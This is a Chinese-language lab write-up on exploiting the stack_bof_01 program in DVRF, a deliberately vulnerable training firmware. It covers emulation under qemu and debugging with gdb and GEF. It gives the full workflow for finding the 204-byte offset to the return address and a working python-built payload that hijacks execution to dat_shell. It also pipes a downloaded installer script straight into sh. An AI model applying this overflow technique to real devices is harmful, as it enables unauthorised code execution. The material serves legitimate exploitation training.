使用之前部署好的 Firmadyne 环境, 实操如何通过动态调试分析一个固件,接下来的固件采用DVRF,这是个网友自制的充满漏洞的固件,供学习用的。
git clone https://github.com/praetorian-code/DVRF.git

开始之前,安装以下工具,动态调试中会用到。
apt install gdb-multiarchwget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | shpip3 install capstone unicorn keystone-engine

安装keystone-engine时可能会报错,参考这个链接。 https://github.com/avatartwo/avatar2/issues/23
安装好工具后,就开始对固件进行分析啦,固件路径如下。 DVRF/Firmware/DVRF_v03.bin 使用binwalk提取固件文件系统。
binwalk -t -e DVRF_v03.bin

提取出来的系统有个文件夹pwnable,这个文件夹就是存放着有漏洞的程序示例
我们选取缓冲区漏洞程序stack_bof_01进行实验。首先使用readelf命令查看该程序的架构。
readelf -h pwnable/Intro/stack_bof_01

拷贝qemu-mipsel-static到当前目录,然后配合chroot虚拟执行stack_bof_01固件,可以成功执行。qemu是一款轻型的虚拟机。
apt-get install qemu-user-staticcp $(which qemu-mipsel-static) .chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01

查看stack_bof_01的源码,可以发现明显的strcpy内存溢出漏洞,当参数argv[1]超过200时,就会出现buf溢出的现象。
cat DVRF/Pwnable Source/Intro/stack_bof_01.c

以调试的方式启动stack_bof_01,在本地的1234端口监听调试。
sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01

另一个终端, 运行以下命令开始调试
gdb-multiarch pwnable/Intro/stack_bof_01
gdb运行后,会自动加载gef插件,然后设置固件架构为mips。
set architecture mips
设置完远程调试的IP和端口,就可开始调试stack_bof_01程序了。
target remote 127.0.0.1:1234

调用命令查看样本的所有函数,可以看到各个函数的地址。
info functions

可以使用命令查反汇编看下main函数的汇编码,这是mips架构的汇编码,跟x86的相差很大,完全看不懂。。
disass main

- MIPS中有32个通用寄存器
- 0($zero): 永远返回值为0
- 1($at): 用做汇编器的暂时变量
- 2-3($v0-$v1): 子函数调用返回结果
- 4-7($a0-$a3): 子函数调用的参数
- 8-15($t0-$t7): 暂时变量,子函数使用时不需要保存与恢复
- 16-23($s0-$s7): 子函数寄存器变量。子函数必须保存和恢复使用过的变量在函数返回之前,从而调用函数知道这些寄存器的值没有变化。
- 24-25($t8-$t9): 暂时变量,子函数使用时不需要保存与恢复
- 26-27($k0-$k1): 通常被中断或异常处理程序使用作为保存一些系统参数
- 28($gp): 全局指针。一些运行系统维护这个指针来更方便的存取“static“和”extern”变量。
- 29($sp): 堆栈指针
- 30($s8/$fp): 第9个寄存器变量。子函数可以用来做桢指针
- 31($ra): 子函数的返回地址
- PC:存储下一个指令的内存地址
- 为了控制基于MIPS架构的二进制代码执行流程,需要关注
RA和PC这两个寄存器,在处理MIPS架构下的二进制文件时,相对于RA寄存器而言,控制PC寄存器更加复杂。因此,在本次联系中主要控制RA寄存器的内容。
然后我们使用命令创建一个随机的300字节流,作为攻击字符串,用于测试参数溢出的点。
pattern create 300

重新带参数调试stack_bof_01。 看看执行过程中是否会导致RA寄存器溢出。
sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac

gdb挂上去后,输入c回车让程序跑起来,会发现程序崩溃了,SIGSEGV内存出错,指针ra指向0x63616162,对应的ASCII是"baac"。
- 输入命令C之后,程序将继续执行,知道出现以下三种情况之一
- 运行完成
- 命中断点
- 出现异常

使用命令查看该溢出点在攻击字符串的什么位置,是位于pattern的第204位。
pattern search 0x63616162 //实现模式字符串的搜索

- RA溢出字符串的偏移为204,意味着访问到RA寄存器之前需要填充204的垃圾字节,接下来的4位就是RA寄存器的值
此次练习主要为了更改程序的执行流程,并调用在程序正常流程中原本不会调用的 dat_shell 函数,那么下一步就是确定dat_shell函数的地址,为了找到dat_shell函数的地址,要么打印出dat_shell函数的地址,要么通过反汇编查找dat_shell函数的起始地址。可以通过命令 disass 来完成。
disass dat_shell
- 可以看到
dat_shell函数的其实地址为0x00400950。然而前三条指令中用到了全局指针(GP寄存器),我们不希望在这个时候使用该指针,这就是跳转到0x0040095c而不是0x00400950的原因 - 接下来在
0x0040095c后填充204个垃圾字符。
将待执行的函数地址拼凑到204个字节后面,便可劫持程序执行流到dat_shell函数(0x40095C),从而实现缓冲区溢出攻击。
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x5c\x09\x40'")"

可以看到,二进制文件现在已经执行了我们想要执行的dat_shell函数。
最后,试了下0x400950确实不行,会报错。
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x50\x09\x40'")"

测试分析
缓冲区溢出漏洞的基本思路就是在缓冲区中放入超过程序预期长度的字符串,这样就可以控制栈中的寄存器,而控制了栈中的寄存器就可以跳转到shellcode的位置或系统的libc库来执行其他载荷。
